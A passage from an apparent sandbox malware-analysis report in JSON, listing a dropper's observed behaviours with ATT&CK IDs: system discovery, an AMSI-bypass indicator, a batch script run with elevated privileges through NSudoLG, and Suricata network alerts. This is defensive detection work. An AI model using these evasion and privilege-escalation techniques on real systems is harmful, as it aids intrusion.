string)","description":"Found reference to API \"GetVolumeInformationA\" (Indicator: \"GetVolumeInformation\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-162","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve windows environment variables","description":"file/memory contains long string with (Indicator: \"%username%\"; File: \"34.bat\")\n file/memory contains long string with (Indicator: \"%processor_architecture%\"; File: \"34.bat\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-557","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Environment Awareness","name":"Queries for Borland Delphi related registry entry","description":"\"1H12M2.exe\" (Access type: \"OPEN\"; Path: \"HKCU\\SOFTWARE\\BORLAND\\DELPHI\\LOCALES\"; Key: \"\"; Value: \"\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-138","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volatile registry keys","description":"\"NSudoLG.exe\" (Access type: \"OPEN\"; Path: \"HKCU\\VOLATILE ENVIRONMENT\"; Key: \"\"; Value: \"\")\n \"NSudoLG.exe\" (Access type: \"OPEN\"; Path: \"HKCU\\VOLATILE ENVIRONMENT\\1\"; Key: \"\"; Value: \"\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-139","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"$36","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-11","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information of an entire harddrive","description":"\"cmd.exe\" queries volume information of \"C:\\\" at 00000000-00001308-00000C16-457901061\n \"cmd.exe\" queries volume information of \"C:\\\" at 00000000-00001308-00000C16-458042036\n \"cmd.exe\" queries volume information of \"C:\\\" at 00000000-00002140-00000C16-470315274\n \"cmd.exe\" queries volume information of \"C:\\\" at 00000000-00009132-00000C16-471359413\n \"cmd.exe\" queries volume information of \"C:\\\" at 00000000-00009132-00000C16-471443586\n \"powershell.exe\" queries volume information of \"C:\\\" at 00000000-00004460-00000C16-489042989\n \"powershell.exe\" queries volume information of \"C:\\\" at 00000000-00007072-00000C16-495893670","origin":"API Call","mitre_attack_id":"T1082","relevance":8,"id":"api-39","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"1H12M2.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"2O4405.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"NSudoLG.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"tasklist.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"\"1H12M2.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\34.BAT\")\n \"2O4405.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\2O4405.EXE\")\n \"2O4405.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\SAVED.EXE\")","origin":"Registry Access","mitre_attack_id":"T1518","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Environment Awareness","name":"References to WMI query strings used for process discovery","description":"Found string \"SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process\" (Indicator: \" Win32_Process\"; Source: \"00000000-00004572.00000000.95398.B1E22000.00000002.mdmp, 00000000-00004572.00000000.95398.D12C0000.00000004.mdmp, 00000000-00004572.00000000.95398.D14B0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-513","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Environment Awareness","name":"Tries to retrieve device driver information","description":"\"2O4405.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SYSTEM\\CURRENTCONTROLSET\\SERVICES\\SANDBOXFLTR\"; Key: \"\"; Value: \"\")","origin":"Registry Access","mitre_attack_id":"T1652","relevance":1,"id":"registry-174","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"External Systems","name":"Detected Suricata Alert","description":"Detected alert \"SURICATA IPv4 invalid checksum\" (SID: 2200073, Rev: 2, Severity: 3) categorized as \"Generic Protocol Command Decode\"\n Detected alert \"SURICATA TCPv4 invalid checksum\" (SID: 2200074, Rev: 2, Severity: 3) categorized as \"Generic Protocol Command Decode\"\n Detected alert \"ET INFO Packed Executable Download\" (SID: 2014819, Rev: 5, Severity: 3) categorized as \"Misc activity\"\n Detected alert \"ET INFO Observed Telegram Domain (t .me in TLS SNI)\" (SID: 2041933, Rev: 2, Severity: 3) categorized as \"Misc activity\"\n Detected alert \"ET USER_AGENTS Go HTTP Client User-Agent\" (SID: 2024897, Rev: 3, Severity: 3) categorized as \"Misc activity\"\n Detected alert \"ET INFO Go-http-client User-Agent Observed Outbound\" (SID: 2060251, Rev: 1, Severity: 3) categorized as \"Misc activity\"","origin":"Suricata Alerts","relevance":10,"id":"suricata-0","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"General","name":"Able to enumerate service (API string)","description":"Found reference to API \"QueryServiceStatusEx\" (Indicator: \"QueryServiceStatus\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")\n Found reference to API \"OpenSCManagerW\" (Indicator: \"OpenSCManager\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")\n Found reference to API \"OpenSCManagerW\" (Indicator: \"OpenSCManager\"; Source: \"00000000-00004572.00000000.95398.B1E22000.00000002.mdmp\")\n Found reference to API \"EnumServicesStatusExW\" (Indicator: \"EnumServicesStatus\"; Source: \"00000000-00004572.00000000.95398.B1E22000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1007","relevance":1,"id":"string-191","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"General","name":"Accesses Software Policy Settings","description":"\"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\"; Key: \"\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":10,"id":"registry-18","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"General","name":"Accesses System Certificates Settings","description":"$37","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-17","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"General","name":"An application crash occurred","description":"Report process \"WerFault.exe\" was created by \"svchost.exe\"\n Report process \"WerFault.exe\" was created by \"3Y00Z.exe\"\n Report process \"WerFault.exe\" was created by \"beb0d5197c.exe\"","origin":"Monitored Target","id":"target-2","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"General","name":"Calls GetProcAddress on AmsiScanBuffer function (may used to bypass AMSI)","description":"\"powershell.exe\" called \"GetProcAddress\" with a parameter \"AmsiScanBuffer\" (UID: 00000000-00004460)\n \"powershell.exe\" called \"GetProcAddress\" with a parameter \"AmsiScanBuffer\" (UID: 00000000-00007072)","origin":"API Call","mitre_attack_id":"T1562.001","relevance":1,"id":"api-179","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a directory","description":"\"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\" called \"CreateDirectoryA\" with parameter %TEMP%\\IXP000.TMP (UID: 00000000-00000860)\n \"F2a97.exe\" called \"CreateDirectoryA\" with parameter %TEMP%\\IXP001.TMP (UID: 00000000-00007396)\n \"1H12M2.exe\" called \"CreateDirectoryW\" with parameter C:\\Users (UID: 00000000-00001224)\n \"1H12M2.exe\" called \"CreateDirectoryW\" with parameter C:\\Users\\%OSUSER% (UID: 00000000-00001224)\n \"1H12M2.exe\" called \"CreateDirectoryW\" with parameter %USERPROFILE%\\AppData (UID: 00000000-00001224)\n \"1H12M2.exe\" called \"CreateDirectoryW\" with parameter %USERPROFILE%\\AppData\\Local (UID: 00000000-00001224)\n \"1H12M2.exe\" called \"CreateDirectoryW\" with parameter %LOCALAPPDATA%\\Temp (UID: 00000000-00001224)\n \"1H12M2.exe\" called \"CreateDirectoryW\" with parameter Work (UID: 00000000-00001224)\n \"2O4405.exe\" called \"CreateDirectoryA\" with parameter %TEMP%\\c13dbdc4fa (UID: 00000000-00001812)","origin":"API Call","mitre_attack_id":"T1074.001","relevance":3,"id":"api-122","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a process","description":"$38","origin":"API Call","mitre_attack_id":"T1106","relevance":5,"id":"api-128","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create an instance of a named pipe","description":"\"cmd.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\" - (UID: 00000000-00009132)\n \"powershell.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\PSHost.133905130077342330.4460.DefaultAppDomain.powershell\" - (UID: 00000000-00004460)\n \"powershell.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\PSHost.133905130129180816.7072.DefaultAppDomain.powershell\" - (UID: 00000000-00007072)","origin":"API Call","mitre_attack_id":"T1570","relevance":3,"id":"api-138","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"$39","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"details too long to display","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"github.com\"\n \"github.githubassets.com\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"140.82.113.3:443\"\n \"185.199.110.154:443\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"General","name":"Contains PDB pathways","description":"\"wextract.pdb\"","origin":"File/Memory","relevance":1,"id":"string-7","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"General","name":"Contains SQL queries","description":"\"SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process\" (Source: 00000000-00004572.00000000.95398.B1E22000.00000002.mdmp, 00000000-00004572.00000000.95398.D12C0000.00000004.mdmp, 00000000-00004572.00000000.95398.D14B0000.00000004.mdmp, Indicator: \"select __path, processid, csname, caption, sessionid, threadcount, workingsetsize, kernelmodetime, usermodetime from win32_process\")\n \"SELECT Name FROM Win32_Service WHERE ProcessId = %d and State=\"Running\"\" (Source: 00000000-00004572.00000000.95398.B1E22000.00000002.mdmp, Indicator: \"select name from win32_service where processid = %d and state=\"running\"\")","origin":"File/Memory","mitre_attack_id":"T1213","relevance":2,"id":"string-16","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"General","name":"Contains ability to close a handle to a service (API string)","description":"Found reference to API \"CloseServiceHandle\" (Indicator: \"CloseServiceHandle\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")\n Found reference to API \"CloseServiceHandle\" (Indicator: \"CloseServiceHandle\"; Source: \"00000000-00004572.00000000.95398.B1E22000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-242","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"General","name":"Contains ability to create a new process (API string)","description":"$3a","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-204","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"General","name":"Contains ability to create directories (API string)","description":"Found reference to API \"CreateDirectoryA\" (Indicator: \"CreateDirectory\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")\n Found reference to API \"CreateDirectoryW\" (Indicator: \"CreateDirectory\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")","origin":"File/Memory","mitre_attack_id":"T1074.001","relevance":1,"id":"string-423","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"General","name":"Contains ability to create/control drivers (API string)","description":"Found reference to API \"DeviceIoControl\" (Indicator: \"DeviceIoControl\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-220","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"General","name":"Contains ability to create/load registry keys (API string)","description":"$3b","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-307","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"General","name":"Contains ability to create/open files (API string)","description":"$3c","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-315","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"General","name":"Contains ability to disable/close registry key (API string)","description":"Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")\n Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00004460.00000000.93884.955CA000.00000002.mdmp\")\n Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00004572.00000000.95398.B1E22000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-345","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"General","name":"Contains ability to dynamically determine API calls","description":"Found GetProcAddress() and LoadLibraryA() in an import section (Source: abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe)\n Found GetProcAddress() and LoadLibraryA() in an import section (Source: F2a97.exe)\n Found GetProcAddress() and LoadLibraryA() in an import section (Source: 1H12M2.exe)\n Found GetProcAddress() and LoadLibraryA() in an import section (Source: nircmd.exe)\n Found GetProcAddress() and LoadLibraryA() in an import section (Source: cecho.exe)","origin":"Static Parser","mitre_attack_id":"T1027.007","relevance":1,"id":"static-79","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"$3d","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"General","name":"Contains ability to execute an application (API string)","description":"Found reference to API \"ShellExecuteA\" (Indicator: \"ShellExecute\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")\n Found reference to API \"WinExec\" (Indicator: \"WinExec\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")\n Found reference to API \"ShellExecuteExA\" (Indicator: \"ShellExecute\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")\n Found reference to API \"\" (Indicator: \"WinExec\"; Source: \"00000000-00000860.00000000.92190.00A40000.00000004.mdmp\")\n Found reference to API \"\" (Indicator: \"WinExec\"; Source: \"00000000-00007396.00000000.92259.00780000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-240","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"General","name":"Contains ability to execute windows services","description":"file/memory contains long string with (Indicator: \"net start \"; File: \"saved.exe\")","origin":"File/Memory","mitre_attack_id":"T1569.002","relevance":1,"id":"string-521","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"General","name":"Contains ability to executes commands or batch file","description":"file/memory contains long string with (Indicator: \"cmd.exe /c\"; File: \"34.bat\")\n Found string \"%WINDIR%\\system32\\cmd.exe /c ver\" (Indicator: \"\\system32\\cmd.exe /c \"; Source: \"00000000-00009132-00000C45-48865198044\")\n Found string \"%WINDIR%\\system32\\cmd.exe /c ver\" (Indicator: \"cmd.exe /c\"; Source: \"00000000-00009132-00000C45-48865198044\")\n Found string \"%WINDIR%\\system32\\cmd.exe /c tasklist\" (Indicator: \"\\system32\\cmd.exe /c \"; Source: \"00000000-00009132-00000C45-71968498356\")\n Found string \"%WINDIR%\\system32\\cmd.exe /c tasklist\" (Indicator: \"cmd.exe /c\"; Source: \"00000000-00009132-00000C45-71968498356\")\n Found string \"%WINDIR%\\system32\\cmd.exe /c \"\"%TEMP%\\34.bat\" \"\" (Indicator: \"\\system32\\cmd.exe /c \"; File: \"cmd.exe\")\n Found string \"%WINDIR%\\system32\\cmd.exe /c \"\"%TEMP%\\34.bat\" \"\" (Indicator: \"cmd.exe /c\"; File: \"cmd.exe\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-174","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"General","name":"Contains ability to find and load resources of specific modules (API string)","description":"$3e","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-550","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"General","name":"Contains ability to impersonate another user on the local machine (API string)","description":"Found reference to API \"User authentication using Basic authentication scheme failed. %n%n Additional Data %n Unexpected error received from LogonUser %1: %%%1.\" (Indicator: \"LogonUser\"; Source: \"00000000-00004572.00000000.95398.D2C60000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-225","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"General","name":"Contains ability to move file or directory (API string)","description":"$3f","origin":"File/Memory","mitre_attack_id":"T1570","relevance":1,"id":"string-322","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve the command-line string for the current process (API string)","description":"Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")\n Found reference to API \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-206","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/modify process thread (API string)","description":"Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")\n Found reference to API \"ResumeThread\" (Indicator: \"ResumeThread\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")\n Found reference to API \"GetThreadContext\" (Indicator: \"GetThreadContext\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")\n Found reference to API \"SetThreadContext\" (Indicator: \"SetThreadContext\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")\n Found reference to API \"CreateThreadpoolWork\" (Indicator: \"CreateThread\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-161","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/open a process (API string)","description":"$40","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-272","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"General","name":"Contains ability to set/get the last-error code for a calling thread (API string)","description":"$41","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-319","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"General","name":"Contains ability to show a graphical window (API string)","description":"Found reference to API \"ShowWindow\" (Indicator: \"ShowWindow\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")\n Found reference to API \"GetWindowThreadProcessId\" (Indicator: \"GetWindowThreadProcessId\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")\n Found reference to API \"GetWindowThreadProcessId\" (Indicator: \"GetWindowThreadProcessId\"; Source: \"00000000-00004572.00000000.95398.B1E22000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-208","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"General","name":"Contains ability to start a service (API string)","description":"Found reference to API \"StartServiceW\" (Indicator: \"StartService\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-209","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"General","name":"Contains reference to Sysinternals URL","description":"Found string \"File Monitor - Sysinternals: www.sysinternals.com\" (Indicator: \"www.sysinternals.com\"; Source: \"00000000-00008536-0000044C-2641560888\")\n Found string \"Process Monitor - Sysinternals: www.sysinternals.com\" (Indicator: \"www.sysinternals.com\"; Source: \"00000000-00008536-0000044C-2642266214\")\n Found string \"Registry Monitor - Sysinternals: www.sysinternals.com\" (Indicator: \"www.sysinternals.com\"; Source: \"00000000-00008536-0000044C-2651826691\")","origin":"File/Memory","mitre_attack_id":"T1105","relevance":1,"id":"string-262","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"General","name":"Contains reference to method used by Windows shell items (API string)","description":"Found reference to API \"SHFileOperationA\" (Indicator: \"SHFileOperation\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")","origin":"File/Memory","mitre_attack_id":"T1564","relevance":1,"id":"string-269","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"$42","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"Local\\ZonesLockedCacheCounterMutex\"\n \"Local\\SM0:1224:168:WilStaging_02\"\n \"Local\\SM0:1224:64:WilError_01\"\n \"Local\\ZonesCacheCounterMutex\"\n \"SM0:1224:64:WilError_01\"","origin":"Created Mutant","mitre_attack_id":"T1480","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"General","name":"Executes batch file","description":"Process \"cmd.exe\" with commandline \"%WINDIR%\\\\system32\\\\cmd.exe /c \"\"%TEMP%\\\\34.bat\" \"\" (UID: 00000000-00006600)\n Process \"cmd.exe\" with commandline \"/c \"%TEMP%\\\\34.bat\" any_word\" (UID: 00000000-00001308)\n Process \"NSudoLG.exe\" with commandline \"NSudoLG -U:T -P:E -UseCurrentConsole %TEMP%\\\\34.bat\" (UID: 00000000-00009008)\n Process \"cmd.exe\" with commandline \"/c %TEMP%\\\\34.bat\" (UID: 00000000-00002140)\n Process \"cmd.exe\" with commandline \"/c \"%TEMP%\\\\34.bat\" any_word\" (UID: 00000000-00009132)","origin":"Monitored Target","mitre_attack_id":"T1059","relevance":3,"id":"target-220","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"General","name":"Fails to load modules at runtime","description":"$43","origin":"API Call","mitre_attack_id":"T1574.002","relevance":1,"id":"api-22","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"General","name":"File contains dynamic base/NX flags","description":"$44","origin":"Static Parser","id":"static-154","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"General","name":"Found PowerShell command strings related to Exchange mailboxes","description":"file/memory contains long string with (Indicator: \"Remove-App\"; File: \"34.bat\")","origin":"File/Memory","mitre_attack_id":"T1114.002","relevance":1,"id":"string-203","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"General","name":"Found named pipe like strings","description":"Found string - \\\\.\\pipe\\PSHost.133905130077342330.4460.DefaultAppDomain.powershell\n Found string - \\\\.\\pipe\\PSHost.133905130129180816.7072.DefaultAppDomain.powershell","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-146","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"General","name":"Found well known domains (string)","description":"$45","origin":"File/Memory","relevance":1,"id":"string-135","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"General","name":"GETs files from a webserver","description":"$46","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-2","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$47","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"General","name":"Loads rich edit control libraries","description":"\"1H12M2.exe\" loaded module \"%WINDIR%\\SysWOW64\\riched20.dll\" at 72790000","origin":"Loaded 